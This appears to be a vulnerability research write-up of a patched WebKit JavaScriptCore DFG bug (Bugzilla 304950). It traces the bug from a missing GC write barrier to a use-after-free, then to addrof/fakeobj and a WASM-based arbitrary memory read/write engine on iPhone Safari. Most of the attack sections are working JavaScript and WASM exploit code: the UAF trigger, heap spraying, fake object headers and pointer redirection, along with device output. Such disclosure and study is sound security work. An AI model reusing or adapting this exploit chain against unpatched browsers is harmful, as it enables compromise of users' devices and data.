This post documents the complete exploitation of a type declaration error in WebKit’s JavaScriptCore DFG compiler — from NodeResultInt32 (should have been NodeResultJS) in the DFGNodeType.h macro table, through GC write barrier bypass triggering Use-After-Free, escalating step by step to stable arbitrary memory read/write (AAR/AAW) on a stock, non-jailbroken iPhone (iOS 26.1). End-to-end success rate is approximately 80%.

Field Value
Vulnerability location Source/JavaScriptCore/dfg/DFGNodeType.hMapIterationEntryKey node
Bugzilla 304950
rdar 167200795
Fix commit 3f6f7836068 (cherry-pick 47b55468bf82)
Affected versions Safari ≤ 26.2 (WebKit 7623.1.14.11.9)
Fixed in Safari 26.3 (20623.2.7) — Security advisory
Target devices iPhone / vphone (iOS 26.1) and macOS 26.2
Exploit success rate ~80% (failures typically manifest as page reloads; unresponsive crashes are rare)

Vulnerability Overview

During JavaScript-to-machine-code compilation, JavaScriptCore (JSC) employs an intermediate-tier compiler called DFG (Data Flow Graph). DFG attaches an output type declaration (NodeResult) to each IR node, telling subsequent optimization passes what type of value the node produces.

The problem was a single wrong word in a massive macro definition table:

// Source/JavaScriptCore/dfg/DFGNodeType.h, line 592
macro(MapIterationEntry,      NodeResultJS)      \
macro(MapIterationEntryKey,   NodeResultInt32)   \   // ← BUG: should be NodeResultJS
macro(MapIterationEntryValue, NodeResultJS)      \   // ← correct

MapIterationEntryKey — the node that retrieves the key in Map.forEach() callbacks — was declared as producing only a 32-bit integer. But look at the runtime implementation:

// DFGOperations.cpp:4931
JSC_DEFINE_JIT_OPERATION(operationMapIterationEntryKey, EncodedJSValue, (...))
{
    JSMap::Storage& storage = *jsCast<JSMap::Storage*>(cell);
    OPERATION_RETURN(scope, JSValue::encode(
        JSMap::Helper::getIterationEntryKey(storage)));
    // Returns arbitrary JSValue: could be an object pointer, double, string...
}

The runtime returns a full 64-bit EncodedJSValue. The code generation layer also correctly calls jsValueResult(resultRegs, node) to store the full 64-bit value. The inconsistency is purely in the type annotation, not the code logic.

This static NodeResult declaration governs three critical downstream behaviors:

Effect NodeResultInt32 NodeResultJS
Register allocation Single 32-bit GPR 64-bit JSValueRegs
GC scanning Not scanned (scalar) Treated as JSValue cell reference
Store Barrier insertion Skipped (core of this vulnerability) Inserted on heap stores

The fix was changing NodeResultInt32 to NodeResultJS. One word to fix the entire exploit chain.


Chapter 1: From Type Declaration Error to Use-After-Free

1.1 Write Barriers: The GC’s Lifeline

JSC uses generational garbage collection — a strategy that partitions the heap by object age. New objects are allocated in the eden region (nursery). Objects that survive one or more GC cycles are promoted (tenured) to the old generation — a memory region that is scanned much less frequently. The generational hypothesis is that most objects die young; only a few long-lived objects need to be moved from the frequently-collected eden to the stable old generation.

When an old-generation object references an eden object, the GC needs to know about this relationship. Otherwise, when the GC only scans the eden region, it will think the eden object has no references and collect it — even though an old-generation object is still using it.

This is the role of the Store Barrier (write barrier): whenever a value that might be a heap object pointer is written to an old-generation object, the compiler inserts a FencedStoreBarrier instruction, adding that old-generation object to the remembered set, ensuring the GC does not miss its references during scanning.

1.2 How the Barrier Was Deceived

DFG’s Store Barrier insertion phase (DFGStoreBarrierInsertionPhase.cpp) checks each PutByOffset (property assignment) operation in Fast mode: what type is the value being written?

// DFGStoreBarrierInsertionPhase.cpp (Fast mode, DFG tier)
void considerBarrier(Edge base, Edge child)
{
    switch (child->result()) {        // reads the NodeResult declaration
    case NodeResultInt32:             // ← MapIterationEntryKey hits here
    case NodeResultDouble:
    case NodeResultNumber:
    case NodeResultInt52:
    case NodeResultBoolean:
        return;                       // Int32/Double/Bool can't be heap pointers → skip barrier
    default: break;
    }
    considerBarrier(base);            // normal path: insert write barrier
}

case PutByOffset: {
    considerBarrier(m_node->child2(), m_node->child3());
    // child3 = MapIterationEntryKey node → hits NodeResultInt32 → skipped
    break;
}

The logic is clear: if a value is declared as integer, floating-point, or boolean, it cannot be a heap object pointer, so no write barrier is needed. This reasoning is sound on its own. The problem is that MapIterationEntryKey lied: it claimed to be Int32, but actually returns a JSValue that may contain heap pointers.

When Map.forEach()’s callback is DFG-inlined and the callback stores the key into a property of an old-generation object, the compiler looks up the table, finds the key is Int32, and skips the write barrier entirely.

Notable: FTL (the higher-tier compiler) is not affected by this vulnerability. FTL uses PhaseMode::Global, deriving through the Abstract Interpreter that MapIterationEntryKey actually outputs SpecHeapTop (a heap object), thus correctly inserting the barrier. This bug only affects DFG’s Fast mode.

1.3 Hard Evidence in DFG IR

After setting --dumpGraphAtEachPhase=true --useConcurrentJIT=false, comparing the IR before and after the Store Barrier insertion phase (Phase 21):

Inside forEach inline (barrier missing):

D@149: MapIterationEntryKey(Cell:D@104, Int32|PureNum, Final, R:JSMapFields, Exits)
D@188: PutByOffset(KnownCell:D@184, KnownCell:D@184, Check:Untyped:D@149, id1{key}, 0)
// After D@188 — no FencedStoreBarrier!

Standalone assignment (barrier correct):

D@30: PutByOffset(KnownCell:D@25, KnownCell:D@25, Check:Untyped:D@28, id1{key}, 0)
D@36: FencedStoreBarrier(KnownCell:D@25, R:Heap, W:JSCell_cellState)

1.4 Trigger Conditions

To turn this declaration error into an exploitable UAF, all of the following conditions must be met:

  1. Map key is an object (not Int32 / Double / String or other non-cell values)
  2. forEach is compiled at the DFG tier with the callback inlined
  3. The callback stores the key into a property of an old-generation object
  4. The key object is in the eden space (newly allocated)
  5. The key pointer has left the C stack before GC runs (otherwise conservative stack scanning preserves it). The “C stack” here refers to the native call stack used by the JSC engine itself (written in C++), which is distinct from the JavaScript-level call stack. JSC’s GC scans all values on the native C stack; if any value happens to look like a valid heap pointer, the GC conservatively assumes it might be a live reference and will not collect the corresponding object — this is called conservative root scanning. Therefore, as long as the key’s pointer remains in any C stack frame, the GC will not collect it
  6. Minor (eden) GC fires: old-generation holder is not in the remembered set → not rescanned → key is collected
  7. Heap spray covers the freed cell → UAF

1.5 Path to UAF

What does a missing write barrier mean? Let’s construct the Use-After-Free step by step:

  1. Allocate an old-generation object holder: after several full GC cycles, holder is promoted to the old generation
  2. Create a new Map with a key that is a new eden object {0: marker}
  3. Through a DFG-compiled forEach callback: holder.key = key. With no write barrier, holder is not added to the remembered set
  4. Let the key’s pointer leave the C stack: after storeKey() returns, the key’s C++ local variable is popped from the stack frame, removing it as a conservative root
  5. Trigger an Eden GC: GC scans the eden region, discovers {0: marker} has no root references (holder is not in the remembered set), and collects the object
  6. holder.key becomes a dangling pointer

Why Official Regression Tests Failed to Trigger

WebKit’s JSTests/stress/map-forEach.js does not trigger the UAF in Release builds, for three reasons:

  • It relies on Debug-build heap poisoning for detection
  • GC call timing is wrong (startScan() before forEach, cannot collect the current round’s key)
  • The forEach call shares the same stack frame as GC, keeping the key pointer as a conservative root

Correct PoC Design

A correct PoC must isolate the forEach call into a separate function frame and use deepClobber to flush the C stack:

const holder = { key: 1 };
const map = new Map([[{0: 1.1}, 1]]);

function inlinee(value, key) { holder.key = key; }
noFTL(inlinee);

for (let i = 0; i < 1000; i++) map.forEach(inlinee);  // DFG warmup

fullGC(); fullGC(); fullGC();  // promote holder to old generation

function storeKey(marker) {
    let m = new Map([[{0: marker}, 1]]);
    m.forEach(inlinee);  // after return, key leaves C stack
}

// flush C stack to remove conservative roots
function deepClobber(n) {
    let a=0,b=0,c=0,d=0,e=0,f=0,g=0,h=0;
    if (n > 0) return deepClobber(n - 1);
    return a+b+c+d+e+f+g+h;
}

storeKey(99.99);
deepClobber(300);
edenGC();  // holder not in remembered set → key is collected

let spray = [];
for (let j = 0; j < 5000; j++) spray.push({0: 2.2});

if (typeof holder.key === "object" && holder.key[0] === 2.2) {
    print("[UAF] dangling reference points to sprayed object");
}

Result: 100% reproducible in 5/5 runs. In an extended 50-round test, typeof holder.key === "symbol" appeared, proving the GC did collect the cell and reuse it as a Symbol object.


Chapter 2: addrof / fakeobj — The Art of Heap Feng Shui

With a UAF in hand, the next step is to escalate it into two fundamental exploitation primitives:

  • addrof(obj): given a JavaScript object, read its address in memory
  • fakeobj(addr): given a memory address, return it as a JavaScript object

2.1 Cross-Subspace Butterfly Reuse

JSC manages an object’s cell (header + fixed fields) and butterfly (dynamic properties/array element storage) separately:

Component Victim {0: 1.1} Spray [targetObj]
Cell CompleteSubspace (JSFinalObject) IsoSubspace (JSArray)
Butterfly Gigacage (bmalloc) Gigacage (bmalloc)

Key insight: although JSFinalObject and JSArray cells live in different Subspaces (never reused by each other), their butterflies share the same Gigacage bmalloc pool — butterfly memory can be reused.

This means:

  • The dangling victim cell retains its original DoubleShape (thinks it stores floating-point values)
  • The dangling butterfly pointer now points to Gigacage memory where a JSArray spray object’s butterfly resides
holder.key → [freed victim cell: DoubleShape indexing] → butterfly → [JSArray spray's NaN-boxed pointer]
  • addrof: write target object to hitSpray[idx][0] → read holder.key[0] via DoubleShape path → reads NaN-boxed pointer as raw float64
  • fakeobj: write crafted double to holder.key[0] → JSArray reads it back as JSValue → yields an “object” at any address

2.2 Full Implementation in Safari

In Safari, there is no fullGC() / edenGC() API, so we must simulate GC behavior through allocation pressure. The actual exploit loop is considerably more complex:

// —— Safari GC simulation ——
async function gcFull() {
    let x; for (let i = 0; i < 1000; i++) x = new ArrayBuffer(1024 * 1024);
    let arr = []; for (let i = 0; i < 100000; i++) arr.push({ a: i });
    arr = null; x = null;
    await sleep(100);
}
async function gcEden() {
    let x; for (let i = 0; i < 100; i++) x = new ArrayBuffer(1024 * 1024);
    let arr = []; for (let i = 0; i < 50000; i++) arr.push({ a: i });
    arr = null; x = null;
    await sleep(50);
}

// —— UAF trigger and butterfly overlap loop ——
let hitSpray = null, hitRound = -1;
for (let r = 0; r < 600; r++) {
    await gcEden();

    // Allocate many [1.1] arrays to "drain" the current butterfly freelist
    let drain = []; for (let j = 0; j < 4000; j++) drain.push([1.1]);

    storeKey(100.1 + r);
    deepClobber(300); deepClobber(300);

    // Cell sled: 64 same-shape FinalObjects (fixes iPhone StructureID=0 crash)
    let _cc = []; for (let k = 0; k < 64; k++) _cc.push({ 0: 0.0 }); _cc = null;

    await gcEden();

    // Spray JSArrays — their butterfly may reuse the victim's
    let sp = []; for (let j = 0; j < 3000; j++) sp.push([{ _: 1 }]);
    drain = null;

    let val; try { val = holder.key[0]; } catch (e) { continue; }
    // If the value read ≠ our marker, the butterfly has been reused
    if (typeof val === "number" && Math.abs(val - (100.1 + r)) > 0.01) {
        hitSpray = sp; hitRound = r; break;
    }
}

After successful reuse, a linear search pinpoints which spray array now shares a butterfly with the victim:

let rawBits = f2i(holder.key[0]);
let matchIdx = -1;
for (let i = 0; i < hitSpray.length; i++) {
    let saved = hitSpray[i][0];
    hitSpray[i][0] = { _u: true };  // write an object
    if (f2i(holder.key[0]) !== rawBits) {
        // rawBits changed → this spray's butterfly IS the victim's
        matchIdx = i;
        hitSpray[i][0] = saved;
        break;
    }
    hitSpray[i][0] = saved;
}

function addrof(obj) {
    hitSpray[matchIdx][0] = obj;   // JSArray stores NaN-boxed pointer
    return f2i(holder.key[0]);     // DoubleShape path reads raw bits
}
function fakeobj(addr) {
    holder.key[0] = i2f(addr);    // DoubleShape writes raw bits
    return hitSpray[matchIdx][0]; // JSArray path reads JSValue
}

2.3 iPhone Verification

[+] BUTTERFLY REUSE round 0!
[+] addrof(o1) = 0x0000000114835d60
[+] addrof(o2) = 0x0000000114835d80
distinct: pass  |  consistent: pass  |  tag: 0x0000
addrof: SUCCESS

2.4 iPhone-Specific Adaptations

Additional adjustments needed for iPhone stability:

  • deepClobber() depth increased to 300, called twice, to thoroughly flush ARM64’s deeper stack frames
  • GC pressure mixed with ArrayBuffer allocations to prevent JIT DCE from optimizing away critical allocations
  • await sleep(50) to wait for iOS concurrent GC to complete
  • DFG warmup increased to 5000 iterations to ensure the callback is fully inlined

Chapter 3: WASM Dual-Instance Arbitrary R/W Engine

addrof/fakeobj are not enough — we need arbitrary address read/write. The traditional approach of constructing a fake Float64Array faces serious obstacles on modern JSC:

Dimension Fake Float64Array WASM Dual-Instance
StructureID Must guess precisely (millions of possible values) Not needed
GC Safety GC may crash on fake header Instances are legitimate GC objects
NaN-Boxing Some bit patterns get canonicalized WASM i64 bypasses NaN-boxing

3.1 WASM Module Design

We constructed a minimal 90-byte WASM module with 2 mutable globals and 4 exported functions:

(module
  (global $g0 (mut i64) (i64.const 0))   ;; 64-bit address channel
  (global $g1 (mut i32) (i32.const 0))   ;; 32-bit value channel
  (func (export "a") (result i32) global.get 0  i32.wrap_i64)  ;; read addr low32
  (func (export "b") (param i64)  local.get 0   global.set 0)  ;; set addr
  (func (export "c") (result i32) global.get 1)                ;; read value
  (func (export "d") (param i32)  local.get 0   global.set 1)  ;; set value
)

Two instances are created: Executor and Navigator. The critical point is that both instances’ globals are Portable globals — created via WebAssembly.Global on the host side and imported:

const exe_g0 = new WebAssembly.Global({ value: 'i64', mutable: true }, 0n);
const exe_g1 = new WebAssembly.Global({ value: 'i32', mutable: true }, 0);
const nav_g0 = new WebAssembly.Global({ value: 'i64', mutable: true }, 0n);
const nav_g1 = new WebAssembly.Global({ value: 'i32', mutable: true }, 0);

const executor  = new WebAssembly.Instance(wasmModule, { e: { g0: exe_g0, g1: exe_g1 } });
const navigator_= new WebAssembly.Instance(wasmModule, { e: { g0: nav_g0, g1: nav_g1 } });

JSC maintains a pointer to the global value slot inside each Instance object. Portable globals’ value slots live inside the WebAssembly.Global JS objects, and Instances reference them via pointer indirection.

The instances are warmed up 22 times to trigger BBQ JIT compilation, ensuring subsequent global reads/writes take the fast path:

for (let t = 0; t < 22; t++) {
    executor.exports.a(); executor.exports.b(BigInt(t));
    executor.exports.c(); executor.exports.d(t);
    navigator_.exports.a(); navigator_.exports.b(BigInt(t));
    navigator_.exports.c(); navigator_.exports.d(t);
}

3.2 Constructing the Asymmetric R/W Channel

Core idea: use bootstrap R/W to redirect Navigator’s g0 value slot pointer to point at Executor’s g1 value slot.

Normal state:
  Navigator.g0_slot_ptr → Navigator's own g0 value slot
  Executor.g1_slot_ptr  → Executor's own g1 value slot

After tampering:
  Navigator.g0_slot_ptr → Executor's g1 value slot  ← redirected!

This establishes an asymmetric address-value channel:

// read32(addr): navigator writes g0 (actually writes executor's g1!) → executor reads g1
window.read32 = function(addr) {
    navigator_.exports.b(addr);       // Navigator g0 ← addr (actually writes Executor g1!)
    return executor.exports.c() >>> 0; // Executor g1 → reads i32 at addr
};

// write32(addr, val): same principle
window.write32 = function(addr, val) {
    navigator_.exports.b(addr);       // set address
    executor.exports.d(val);          // write value
};

// read64 / write64: two 32-bit operations combined
window.read64 = function(addr) {
    return BigInt(read32(addr)) | (BigInt(read32(addr + 4n)) << 32n);
};

Wait. There is a chicken-and-egg problem here — to complete the redirection above, we first need arbitrary read/write to locate the slot offsets inside the Instance objects.

3.3 Bootstrap Loop Closure: Eliminating describe() Dependency

The JSC shell provides a describe() function that prints an object’s internal layout, but Safari has no such API.

We face a circular dependency:

  • Need containerBF (the container array’s butterfly address) to build a fake DoubleArray → implement read64
  • Need read64 to read out containerBF

The DoubleEncodeOffset Trap

On ARM64 JSC, doubles stored in object inline properties have 0x0002000000000000 (DEO) added. This means if we try to store a butterfly pointer in an inline property, the pointer gets polluted by DEO. But DoubleArray butterfly elements do not add DEO — they store raw IEEE754 bits directly.

Multiple attempts to use inline properties to construct a fake array all failed due to DEO. The final approach is based on butterfly elements rather than inline properties.

Failed Attempts

Before arriving at the final solution, we tried 5 different bootstrap strategies, all of which failed:

Approach Failure Reason
DEO compensation Butterfly pointer triggers NaN canonicalization through float64 read, destroying the pointer
3-slot overlap Requires knowing overlapBF in advance — circular dependency
Large array containment Different Gigacage size-classes; small butterfly not within large array range
Gigacage full-page scan fakeobj to non-butterfly address touches wild pointer → SIGBUS
WASM linear memory Finding data pointer requires read64 first — circular

Key Discoveries

The breakthrough came from three critical insights:

  1. JSObject::tryGetIndexQuickly fast path dispatches on indexingType() byte, not StructureID. As long as publicLength > index, StructureID is never checked.
  2. Cell-header-as-IndexingHeader trick: setting butterfly = cellAddr + 8 makes the IndexingHeader’s publicLength field coincide with the cell’s StructureID (around hundreds to tens of millions). As long as publicLength > 0, all element accesses go straight through the quick path.
  3. Safe butterfly padding: all candidate 48B-class arrays have [1] preset to containerAddr + 8. Incorrect fakeobj() guesses read a known-safe address, returning garbage but no segfault.

The Final Solution: v128 Global Offset Scanning

We discovered that a WASM v128-type mutable global occupies a 16-byte fixed offset within the Instance object and stores raw bits (no NaN-boxing or DEO).

This gives us a controlled 16-byte write window — just enough for a fake JSCell header (8 bytes) + butterfly pointer (8 bytes).

The approach:

  1. Create a WASM instance containing a v128 mutable global
  2. Use addrof to get the instance’s address
  3. Scan 8 bytes at a time within the range +0x80 to +0x300 from the instance address
  4. Each scan: set the v128 global’s low 64 bits to a fake JSCell header and the high 64 bits to containerAddr + 8, then try to fakeobj that offset address
  5. Triple validation: value is not undefined → address range is reasonable → cross-validate with a different array → fakeobj(containerBF)[0] === 1.1
// Fake JSCell header: SID=1, indexingType=0x07 (DoubleArray),
//                     jsType=0x25 (JSArray), inlineTypeFlags=0x01
let fakeHeader = 1n | (0x07n << 32n) | (0x25n << 40n) | (0x01n << 56n);

for (let off = 0x80; off <= 0x300; off += 8) {
    let cellAddr = v128instAddr + BigInt(off);
    v128inst.exports.s(fakeHeader, containerAddr + 8n);  // v128 = [header][butterfly]

    let fake = fakeobj(cellAddr);
    let v0 = fake[0];
    if (v0 === undefined) continue;
    let bf_bits = f2i(v0);

    // validate: is this a reasonable butterfly address?
    if (bf_bits < 0x100000000n || bf_bits > 0x0000FFFFFFFFFFFFn) continue;

    // cross-validate: switch to another array, check if butterfly offset is reasonable
    v128inst.exports.s(fakeHeader, structArrAddr + 8n);
    let sa_bf = f2i(fakeobj(cellAddr)[0]);
    if (Math.abs(Number(sa_bf - bf_bits)) > 0x10000) continue;

    // final validation: use containerBF to construct fakeobj and read structArr content
    container[0] = i2f(fakeHeader);
    container[1] = i2f(sa_bf);
    if (fakeobj(bf_bits)[0] === 1.1) {
        containerBF = bf_bits;
        structArrBF = sa_bf;
        V128_OFFSET = off;
        break;
    }
}

Gotcha: WASM Allocation Order

WASM module compilation and instantiation trigger substantial GC allocations. If WASM instances are allocated after the butterfly overlap is established, the GC pressure from compilation overwrites the stale DoubleShape cell, causing addrof(wasmInstance) to return canonical NaN (0x7FF8000000000000).

Evidence: with overlap-first then WASM, addrof(executor) = NaN; with WASM-first then overlap, all addresses read correctly.

The fix is straightforward: move all WASM allocations before the butterfly overlap.

3.4 Bootstrap R/W and Portable Global Slot Location

With containerBF and structArrBF in hand, we can construct a fake DoubleArray for bootstrap-level read64/write64:

container[0] = i2f(fakeHeader);
container[1] = i2f(structArrBF);    // butterfly → structArr's element storage
let fakeArr = fakeobj(containerBF); // fakeArr "is" container, but butterfly points to structArr

fakeArr is a chimera: its cell is container’s butterfly (we control its header and butterfly pointer via container[0]/container[1]), but the JS engine treats it as a legitimate DoubleArray. By changing container[1], we can point fakeArr’s butterfly at any address, achieving read/write.

Next, we need to locate global slots within the Executor and Navigator instances:

// Write marker values into the Portable globals
exe_g0.value = 0x4141414142424242n;
exe_g1.value = 0x43434343;

// Scan the first 576 bytes of the executor Instance for pointers to the markers
for (let off = 0; off < 576; off += 8) {
    let slot = bootstrap_read64(executorAddr + BigInt(off));
    // If memory at slot contains our marker → found the global slot pointer's offset
    if (bootstrap_read64(slot) === 0x4141414142424242n) exe_g0_slot_off = off;
    if ((bootstrap_read64(slot) & 0xFFFFFFFFn) === 0x43434343n) exe_g1_slot_off = off;
}

The final step — the redirect:

// Save navigator_'s original g0 slot pointer (restored during teardown)
let origNavG0Slot = bootstrap_read64(navigatorAddr + BigInt(exe_g0_slot_off));

// Redirect navigator_'s g0 slot pointer to executor's g1 slot
bootstrap_write64(
    navigatorAddr + BigInt(exe_g0_slot_off),
    executorAddr + BigInt(exe_g1_slot_off)
);

3.5 Complete R/W Engine Bootstrap Flow

1. Create v128 WASM instance + Portable globals dual-instance (Executor + Navigator)
2. JIT warmup 22 times → BBQ compilation
3. Trigger UAF → butterfly overlap → addrof/fakeobj
4. v128 offset scan → obtain containerBF, structArrBF
5. Construct fakeArr (fake DoubleArray at containerBF)
6. bootstrap_read64/write64 via fakeArr
7. Locate global slot offsets in Executor and Navigator instances
8. Redirect Navigator's g0 slot to Executor's g1 slot
9. Export read32/write32/read64/write64 API

Verification result: Safari 15/15 WASM R/W engine tests passed; JSC standalone 3/3 read64/write64 verified correct.

3.6 GC-Safe Teardown

After exploitation is complete, if internal state is not cleaned up, the conservative GC may scan containerBF (fakeArr’s address), follow container[1] as a butterfly pointer into the WASM Instance interior, read invalid JSValues, and trigger SIGSEGV/SIGBUS.

Root cause: JSC’s conservative GC scans the native stack and may find containerBF still alive. It treats this value as a potential GC object and attempts to trace its butterfly pointer (which is container[1]). But after bootstrap operations, container[1] points into WASM Instance internals — not a valid JSValue array. GC reads invalid JSValues → crash.

Teardown in two steps:

  1. Restore Navigator’s g0 slot pointer to its original value (ensures clean WASM Instance destructor path)
  2. Restore container[1] = structArrBF so the GC scans a safe float array
window.teardown_wasm_rw = function() {
    // Step 1: restore navigator_ g0 slot pointer
    bootstrap_write64(
        navigatorAddr + BigInt(exe_g0_slot_off),
        origNavG0Slot
    );
    // Step 2: restore container[1] → GC scans safely
    container[0] = i2f(fakeHeader);
    container[1] = i2f(structArrBF);
    // Disable R/W API (no longer valid after teardown)
    window.read32 = window.write32 = window.read64 = window.write64 = null;
};

Chapter 4: Key Debugging Insights

Several iPhone-specific crashes and non-intuitive behaviors were encountered during development, documented below.

4.1 iPhone StructureID=0 Crash

Symptom: EXC_BAD_ACCESS (SIGSEGV) at 0x000000000000004c (null+0x4c), crash in llint_slow_path_get_by_val + 1536.

Root cause chain: After the victim {0: marker} is freed by GC, the cell is overwritten by the freelist’s next pointer. On iPhone, due to different GC behavior and memory pressure, the victim often becomes the freelist’s last node (tail), resulting in next = null → StructureID = 0 → structureTable[0] = nullptr → crash. The heap layout on macOS differs — the victim is typically in the middle of the freelist, avoiding this issue.

Solution (Cell Sled): Immediately after storeKey() (not before), allocate 64 same-shape FinalObjects {0: 0.0}. Due to the bump pointer’s allocation direction, sled objects are after the victim (at higher addresses). After GC sweep scans low-to-high, sled objects enter the freelist HEAD, making the victim’s next non-null and StructureID non-zero.

4.2 DoubleEncodeOffset Trap

Symptom: EXC_BAD_ACCESS, access address with 0x0002 prefix.

Root cause: ARM64 JSC adds +0x0002000000000000 to doubles stored in object inline properties, but pointers don’t get this offset. Storing a butterfly pointer in inline properties causes the pointer to be corrupted.

Fix: Switch to DoubleArray butterfly elements for raw bit storage (no DEO applied).

4.3 WASM Allocation Order

Symptom: addrof(wasmInstance) returns canonical NaN 0x7FF8000000000000.

Root cause: WASM module compilation + instantiation triggers large GC allocations. When performed after butterfly overlap, it overwrites the stale DoubleShape cell.

Fix: Move all WASM allocations before butterfly overlap.

4.4 Development Server

Python aiohttp/websockets hung on import with Python 3.13; a hand-written asyncio WebSocket server worked but Safari disconnected immediately after connecting. The final solution was Bun.serve() for zero-dependency HTTP + WebSocket on the same port. Logging used batch XHR POST + setInterval(50ms) flush, avoiding high-frequency network I/O that would interfere with heap feng shui timing.

4.5 Troubleshooting Quick Reference

# Issue Root Cause Solution
1 iPhone crash: null+0x4c {0:marker} becomes freelist tail, SID=0 Cell sled: allocate 64 {0:0.0} after storeKey
2 addrof(wasmInstance) = NaN WASM compilation GC pressure overwrites stale cell Move WASM allocation before butterfly overlap
3 butterfly pointer has 0x0002 prefix DoubleEncodeOffset corrupts inline properties Switch to DoubleArray butterfly elements
4 read64 returns undefined IndexingHeader.publicLength=0 Fallback offset reads (addr-8, addr-16)
5 WebSocket messages batch until disconnect Browser ws.send() in synchronous code only buffers Switch to XHR POST + setInterval flush
6 JIT warmup breaks butterfly link BBQ compilation allocates FinalObjects reusing freed cell Retain original drain + gcEden rhythm, add cell sled only

Appendix: Exploit Chain Diagram

MapIterationEntryKey NodeResultInt32 declaration error
Phase 1: UAF
    DFG StoreBarrierInsertionPhase::Fast
    child->result() == NodeResultInt32 → skip FencedStoreBarrier
    PutByOffset with no GC write barrier
Eden GC: old-gen holder not in remembered set → key is collected
Phase 2: addrof / fakeobj
    Spray JSArray → Cell: IsoSubspace (no reuse) / Butterfly: Gigacage (reusable!)
    DoubleShape cell reads NaN-boxed ptr = addrof
    DoubleShape cell writes raw bits = fakeobj
Phase 3: WASM Dual-Instance R/W
    v128 global offset scan → containerBF/structArrBF
    Bootstrap R/W → locate Portable global slots
    Navigator.g0_slot → Executor.g1_slot (redirect)
    read32 / write32 / read64 / write64
✓ Arbitrary Memory Read/Write (AAR/AAW)